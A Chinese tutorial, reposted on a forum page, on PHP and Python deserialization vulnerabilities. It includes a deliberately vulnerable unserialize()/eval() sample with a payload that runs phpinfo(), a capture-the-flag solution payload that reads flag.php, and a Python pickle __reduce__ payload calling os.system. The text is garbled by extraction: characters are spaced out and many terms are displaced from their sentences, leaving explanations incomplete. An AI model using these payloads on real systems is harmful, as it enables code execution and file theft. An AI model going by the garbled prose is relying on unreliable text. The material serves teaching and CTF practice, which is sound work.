搜索

[18124] 2020-08-27_php和python反序列化漏洞分析

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-08-27_php和python反序列化漏洞分析 p h p 和 p y t h o n 反 序 列 化 漏 洞 分 析 z j u n   H A C K 之 道   2 0 2 0 - 0 8 - 2 7 之 前 一 直 有 接 触 挺 多 反 序 列 化 的 漏 洞 ， 但 是 自 己 一 直 没 有 很 细 心 地 学 习 这 方 面 的 东 西 ， 所 以 现 在 花 时 间 分 析 一 下 、 中 的 反 序 列 化 漏 洞 ， 其 大 体 都 是 差 不 多 的 ， 部 分 代 码 来 源 互 联 网 ， 有 错 误 烦 请 各 位 师 傅 指 正 。 简 单 来 说 序 列 化 就 是 把 一 个 对 象 的 数 据 和 数 据 类 型 转 成 格 式 化 字 符 串 的 过 程 ， 反 序 列 化 则 是 将 这 些 格 式 化 字 符 串 转 为 对 象 形 式 的 过 程 。 因 此 面 向 对 象 的 编 程 都 会 有 概 率 可 能 存 在 反 序 列 化 漏 洞 。 0 x 0 1   P H P 魔 术 方 法 魔 术 方 法 在 审 计 漏 洞 的 时 候 需 要 着 重 注 意 几 个 典 型 的 魔 术 方 法 ： 函 数 函 数 简 介 简 介 函 数 在 执 行 时 会 检 查 是 否 存 在 一 个 魔 术 方 法 ， 如 果 存 在 ， 则 先 被 调 用 函 数 执 行 时 会 检 查 是 否 存 在 一 个   方 法 ， 如 果 存 在 ， 则 先 被 调 用 构 造 函 数 会 在 每 次 创 建 新 对 象 时 先 调 用 析 构 函 数 是 新 添 加 的 内 容 ， 析 构 函 数 会 在 到 对 象 的 所 有 引 用 都 被 删 除 或 者 当 对 象 被 显 式 销 毁 时 执 行 当 对 象 被 当 做 字 符 串 的 时 候 会 自 动 调 用 该 函 数 p h p p y t h o n 序 列 化   ( S e r i a l i z a t i o n ) 是 将 对 象 的 状 态 信 息 转 换 为 可 以 存 储 或 传 输 的 形 式 的 过 程 。 在 序 列 化 期 间 ， 对 象 将 其 当 前 状 态 写 入 到 临 时 或 持 久 性 存 储 区 。 以 后 ， 可 以 通 过 从 存 储 区 中 读 取 或 反 序 列 化 对 象 的 状 态 ， 重 新 创 建 该 对 象 。 p h p 反 序 列 化 _ _ s l e e p s e r i a l i z e ( ) _ _ s l e e p _ _ w a k e u p u n s e r i a l i z e ( ) _ _ w a k e u p _ _ c o n s t r u c t _ _ d e s t r u c t p h p 5 _ _ t o S t r i n g
< ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e   =   ' z j u n ' ;         p u b l i c   $ a g e   =   ' 1 9 ' ;         p u b l i c   f u n c t i o n   P r i n t V a r ( ) {                 e c h o   ' n a m e   ' . $ t h i s   - >   n a m e   .   ' ,   a g e   '   .   $ t h i s   - >   a g e   .   ' < b r > ' ;         }         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                 e c h o   " _ _ c o n s t r u c t < b r > " ;         }         p u b l i c   f u n c t i o n   _ _ d e s t o r y ( ) {                 e c h o   " _ _ d e s t o r y < b r > " ;         }         p u b l i c   f u n c t i o n   _ _ t o S t r i n g ( ) {                 r e t u r n   " _ _ t o S t r i n g " ;         }         p u b l i c   f u n c t i o n   _ _ s l e e p ( ) {                 e c h o   " _ _ s l e e p < b r > " ;                 r e t u r n   a r r a y ( ' n a m e ' ,   ' a g e ' ) ;         }         p u b l i c   f u n c t i o n   _ _ w a k e u p ( ) {                 e c h o   " _ _ w a k e u p < b r > " ;         } } $ o b j   =   n e w   S t u d e n t ( ) ; $ o b j   - >   a g e   =   1 8 ; $ o b j   - >   n a m e   =   ' r e d e r ' ; $ o b j   - >   P r i n t V a r ( ) ; e c h o   $ o b j ; $ s _ s e r i a l i z e   =   s e r i a l i z e ( $ o b j ) ; e c h o   $ s _ s e r i a l i z e . ' < b r > ' ; $ u n s e r i   =   u n s e r i a l i z e ( $ s _ s e r i a l i z e ) ; $ u n s e r i   - >   P r i n t V a r ( ) ; ? > 输 出 结 果 ： _ _ c o n s t r u c t n a m e   r e d e r ,   a g e   1 8 _ _ t o S t r i n g _ _ s l e e p O : 7 : " S t u d e n t " : 2 : { s : 4 : " n a m e " ; s : 5 : " r e d e r " ; s : 3 : " a g e " ; i : 1 8 ; } _ _ w a k e u p n a m e   r e d e r ,   a g e   1 8 在 进 行 构 造 反 序 列 化 时 ， 可 跟 进 以 上 几 个 比 较 典 型 的 魔 术 变 量 进 行 深 入 挖 掘 。 一 个 例 子 一 个 例 子 在 中 ， 序 列 化 和 反 序 列 化 一 般 用 做 应 用 缓 存 ， 比 如 缓 存 ， 等 ， 或 者 是 格 式 化 数 据 存 储 ， 例 如 p a y l o a d p h p s e s s i o n c o o k i e j s o n
， 等 。 一 个 很 简 单 的 序 列 化 代 码 ， 如 下 ： < ? p h p         c l a s s   S t u d e n t {                 p u b l i c   $ n a m e   =   ' z j u n ' ;                 f u n c t i o n   G e t N a m e ( ) {                         r e t u r n   ' z j u n ' ;                 }         }         $ s   =   n e w   S t u d e n t ( ) ;         e c h o   $ s - > G e t N a m e ( ) . ' < b r > ' ;         $ s _ s e r i a l i z e   =   s e r i a l i z e ( $ s ) ;         e c h o   $ s _ s e r i a l i z e ; 一 个 类 ， 其 中 有 一 个 属 性 和 一 个 方 法 ， 然 后 实 例 化 了 类 的 对 象 ， 输 出 调 用 这 个 类 方 法 ， 然 后 函 数 把 对 象 转 成 字 符 串 ， 也 就 是 序 列 化 ， 再 输 出 序 列 化 后 的 内 容 输 出 结 果 ： z j u n O : 7 : " S t u d e n t " : 1 : { s : 4 : " n a m e " ; s : 4 : " z j u n " ; } 序 列 化 的 数 据 详 解 ： 是 表 示 对 象 ， 后 边 的 内 容 为 这 个 对 象 的 属 性 ， 表 示 对 象 名 称 的 长 度 ， 就 是 对 象 名 ， 表 示 对 象 有 一 个 成 员 变 量 ， 就 是 里 面 的 东 西 ， 表 示 这 个 成 员 变 量 是 一 个 字 符 串 ， 他 的 长 度 为 j s o n x m l S t u d e n t n a m e G e t N a m e S t u d e n t G e t N a m e s e r i a l i z e ( ) O o b j e c t : 7 S t u d e n t 1 { } s s t r 4
， 后 面 跟 着 成 员 变 量 名 ， 以 及 这 个 成 员 变 量 的 数 据 类 型 ， 长 度 ， 内 容 。 这 里 代 码 只 有 一 个 属 性 ， 如 果 有 或 者 属 性 ， 在 序 列 化 的 数 据 中 也 都 会 体 现 出 来 < ? p h p         c l a s s   S t u d e n t {                 p u b l i c   $ n a m e   =   ' z j u n ' ;                 p r o t e c t e d   $ a g e   =   ' 1 9 ' ;                 p r i v a t e   $ w e i g h t   =   ' 5 3 ' ;                 f u n c t i o n   G e t N a m e ( ) {                         r e t u r n   ' z j u n ' ;                 }         }         $ s   =   n e w   S t u d e n t ( ) ;         e c h o   $ s - > G e t N a m e ( ) . ' < b r > ' ;         $ s _ s e r i a l i z e   =   s e r i a l i z e ( $ s ) ;         e c h o   $ s _ s e r i a l i z e ; 输 出 ： z j u n O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 4 : " z j u n " ; s : 6 : " * a g e " ; s : 2 : " 1 9 " ; s : 1 5 : " S t u d e n t w e i g h t " ; s : 2 : " 5 3 " ; } 可 见 类 型 直 接 是 变 量 名 ， 类 型 有 号 ， 但 是 其 长 度 为 ， 是 因 为 。 同 理 类 型 会 带 上 对 象 名 ， 其 长 度 是 ， 。 以 上 的 这 个 过 程 就 称 为 ， 再 看 看 反 序 列 化 ： p u b l i c p r o t e c t e d p r i v a t e p u b l i c p r o t e c t e d * 6 x 0 0 + * + x 0 0 + 变 量 名 p r i v a t e 1 5 x 0 0 + 类 名 + x 0 0 + 变 量 名 p h p 序 列 化
< ? p h p         c l a s s   S t u d e n t {                 p u b l i c   $ n a m e   =   ' z j u n ' ;                 f u n c t i o n   G e t N a m e ( ) {                         r e t u r n   ' z j u n ' ;                 }         }         $ S t u d e n t   =   ' O : 7 : " S t u d e n t " : 1 : { s : 4 : " n a m e " ; s : 4 : " z j u n " ; } ' ;         $ s _ u n s e r i a l i z e   =   u n s e r i a l i z e ( $ S t u d e n t ) ;         p r i n t _ r ( $ s _ u n s e r i a l i z e ) ; ? > 函 数 就 是 用 来 反 序 列 化 的 函 数 ， 输 出 ： S t u d e n t   O b j e c t   (   [ n a m e ]   = >   z j u n   ) 一 个 对 象 ， 其 中 成 员 变 量 等 于 ， 这 就 是 反 序 列 化 ， 将 格 式 化 字 符 串 转 化 为 对 象 。 在 这 个 过 程 中 本 来 是 挺 正 常 的 ， 在 一 些 特 殊 情 景 下 却 能 造 成 如 等 漏 洞 ， 如 < ? p h p c l a s s   S t u d e n t {         v a r   $ a ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 e c h o   ' _ _ c o n s t r u c t ' ;         }         f u n c t i o n   _ _ d e s t r u c t ( )   {                 $ t h i s - > a - > a c t i o n ( ) ;                 e c h o   ' o n e ' ;         } } c l a s s   o n e   {         v a r   $ b ;         f u n c t i o n   a c t i o n ( )   {                 e v a l ( $ t h i s - > b ) ;         } } $ c   =   n e w   S t u d e n t ( ) ; u n s e r i a l i z e ( $ _ G E T [ ' a ' ] ) ; ? > 代 码 有 一 个 构 造 函 数 输 出 ， 在 u n s e r i a l i z e ( ) S t u d e n t n a m e z j u n r c e _ _ c o n s t r u c t _ _ c o n s t r u c t n e w
这 个 对 象 时 自 动 调 用 ， 一 个 析 构 函 数 将 当 我 们 传 入 的 再 传 进 对 象 中 执 行 ， 构 造 代 码 ： < ? p h p c l a s s   S t u d e n t   {         v a r   $ a ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ t h i s - > a   =   n e w   o n e ( ) ;         } } c l a s s   o n e   {         v a r   $ b   =   " p h p i n f o ( ) ; " ; } e c h o   s e r i a l i z e ( n e w   S t u d e n t ( ) ) ; ? > 输 出 ： O : 7 : " S t u d e n t " : 1 : { s : 1 : " a " ; O : 3 : " o n e " : 1 : { s : 1 : " b " ; s : 1 0 : " p h p i n f o ( ) ; " ; } } 成 功 触 发 。 实 例 ： 网 鼎 杯 实 例 ： 网 鼎 杯   2 0 2 0   青 龙 组 青 龙 组   A r e U S e r i a l z < ? p h p i n c l u d e ( " f l a g . p h p " ) ; h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; c l a s s   F i l e H a n d l e r   {         p r o t e c t e d   $ o p ;         p r o t e c t e d   $ f i l e n a m e ;         p r o t e c t e d   $ c o n t e n t ; _ _ d e s t r u c t a o n e
        f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ o p   =   " 1 " ;                 $ f i l e n a m e   =   " / t m p / t m p f i l e " ;                 $ c o n t e n t   =   " H e l l o   W o r l d ! " ;                 $ t h i s - > p r o c e s s ( ) ;         }         p u b l i c   f u n c t i o n   p r o c e s s ( )   {                 i f ( $ t h i s - > o p   = =   " 1 " )   {                         $ t h i s - > w r i t e ( ) ;                 }   e l s e   i f ( $ t h i s - > o p   = =   " 2 " )   {                         $ r e s   =   $ t h i s - > r e a d ( ) ;                         $ t h i s - > o u t p u t ( $ r e s ) ;                 }   e l s e   {                         $ t h i s - > o u t p u t ( " B a d   H a c k e r ! " ) ;                 }         }         p r i v a t e   f u n c t i o n   w r i t e ( )   {                 i f ( i s s e t ( $ t h i s - > f i l e n a m e )   & &   i s s e t ( $ t h i s - > c o n t e n t ) )   {                         i f ( s t r l e n ( ( s t r i n g ) $ t h i s - > c o n t e n t )   >   1 0 0 )   {                                 $ t h i s - > o u t p u t ( " T o o   l o n g ! " ) ;                                 d i e ( ) ;                         }                         $ r e s   =   f i l e _ p u t _ c o n t e n t s ( $ t h i s - > f i l e n a m e ,   $ t h i s - > c o n t e n t ) ;                         i f ( $ r e s )   $ t h i s - > o u t p u t ( " S u c c e s s f u l ! " ) ;                         e l s e   $ t h i s - > o u t p u t ( " F a i l e d ! " ) ;                 }   e l s e   {                         $ t h i s - > o u t p u t ( " F a i l e d ! " ) ;                 }         }         p r i v a t e   f u n c t i o n   r e a d ( )   {                 $ r e s   =   " " ;                 i f ( i s s e t ( $ t h i s - > f i l e n a m e ) )   {                         $ r e s   =   f i l e _ g e t _ c o n t e n t s ( $ t h i s - > f i l e n a m e ) ;                 }                 r e t u r n   $ r e s ;         }         p r i v a t e   f u n c t i o n   o u t p u t ( $ s )   {                 e c h o   " [ R e s u l t ] :   < b r > " ;                 e c h o   $ s ;         }         f u n c t i o n   _ _ d e s t r u c t ( )   {                 i f ( $ t h i s - > o p   = = =   " 2 " )                         $ t h i s - > o p   =   " 1 " ;                 $ t h i s - > c o n t e n t   =   " " ;                 $ t h i s - > p r o c e s s ( ) ;         } } f u n c t i o n   i s _ v a l i d ( $ s )   {         f o r ( $ i   =   0 ;   $ i   <   s t r l e n ( $ s ) ;   $ i + + )                 i f ( ! ( o r d ( $ s [ $ i ] )   > =   3 2   & &   o r d ( $ s [ $ i ] )   < =   1 2 5 ) )                         r e t u r n   f a l s e ;         r e t u r n   t r u e ;
} i f ( i s s e t ( $ _ G E T { ' s t r ' } ) )   {         $ s t r   =   ( s t r i n g ) $ _ G E T [ ' s t r ' ] ;         i f ( i s _ v a l i d ( $ s t r ) )   {                 $ o b j   =   u n s e r i a l i z e ( $ s t r ) ;         } } 这 里 需 要 读 文 件 ， 在 函 数 中 ， 当 时 ， 中 的 就 会 执 行 ， 会 判 断 传 入 的 字 符 串 是 否 为 可 打 印 字 符 ， 而 原 来 的 类 修 饰 均 为 ， 在 序 列 化 时 会 生 成 不 可 见 的 ， 但 对 类 的 属 性 类 型 不 敏 感 ， 可 直 接 把 属 性 修 饰 为 ， 成 功 绕 过 。 构 造 < ? p h p c l a s s   F i l e H a n d l e r   {         p u b l i c   $ o p   =   2 ;         p u b l i c   $ f i l e n a m e   =   " f l a g . p h p " ;         p u b l i c   $ c o n t e n t ; } $ a   =   n e w   F i l e H a n d l e r ( ) ; e c h o   s e r i a l i z e ( $ a ) . " n " ; 传 入 ? s t r = O : 1 1 : " F i l e H a n d l e r " : 3 : { s : 2 : " o p " ; i : 2 ; s : 8 : " f i l e n a m e " ; s : 8 : " f l a g . p h p " ; s : 7 : " c o n t e n t " ; N ; } f l a g . p h p p r o c e s s ( ) o p = 2 r e a d ( ) f i l e _ g e t _ c o n t e n t s i s _ v a l i d ( ) p r o t e c t e d x 0 0 p h p 7 + p u b l i c i s _ v a l i d ( )
0 x 0 2   P Y T H O N 中 序 列 化 一 般 有 两 种 方 式 ： 模 块 和 模 块 ， 前 者 是 特 有 的 格 式 ， 后 者 是 通 用 的 格 式 。 以 下 均 显 示 为 版 本 序 列 化 输 出 结 果 ， 的 结 果 与 不 一 样 。 p i c k l e i m p o r t   p i c k l e d i c t   =   { " n a m e " :   ' z j u n ' ,   " a g e " :   1 9 } a   =   p i c k l e . d u m p s ( d i c t ) p r i n t ( a ,   t y p e ( a ) ) b   =   p i c k l e . l o a d s ( a ) p r i n t ( b ,   t y p e ( b ) ) 输 出 ： ( " ( d p 0 n S ' a g e ' n p 1 n I 1 9 n s S ' n a m e ' n p 2 n S ' z j u n ' n p 3 n s . " ,   < t y p e   ' s t r ' > ) ( { ' a g e ' :   1 9 ,   ' n a m e ' :   ' z j u n ' } ,   < t y p e   ' d i c t ' > ) j s o n i m p o r t   j s o n d i c t   =   { " n a m e " :   ' z j u n ' ,   " a g e " :   1 9 } a   =   j s o n . d u m p s ( d i c t ,   i n d e n t = 4 ) p r i n t ( a ,   t y p e ( a ) ) b   =   j s o n . l o a d s ( a ) p r i n t ( b ,   t y p e ( b ) ) 其 中 起 到 一 个 数 据 格 式 化 输 出 的 效 果 ， 当 数 据 多 了 就 显 得 更 为 直 观 ， 输 出 ： p y t h o n p i c k l e j s o n p y t h o n j s o n p y t h o n 2 p y t h o n 3 p i c k l e . d u m p s p y t h o n 2 i n d e n t = 4
{         " n a m e " :   " z j u n " ,         " a g e " :   1 9 }   < c l a s s   ' s t r ' > { ' n a m e ' :   ' z j u n ' ,   ' a g e ' :   1 9 }   < c l a s s   ' d i c t ' > 再 看 看 一 个 模 块 导 致 的 安 全 问 题 i m p o r t   p i c k l e i m p o r t   o s c l a s s   o b j ( o b j e c t ) :         d e f   _ _ r e d u c e _ _ ( s e l f ) :                 a   =   ' w h o a m i '                 r e t u r n   ( o s . s y s t e m ,   ( a ,   ) ) r   =   p i c k l e . d u m p s ( o b j ( ) ) p r i n t ( r ) p i c k l e . l o a d s ( r ) 通 过 构 造 可 达 到 命 令 执 行 的 目 的 ， 详 见 ： P y t h o n 魔 法 方 法 指 南 p i c k l e _ _ r e d u c e _ _
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理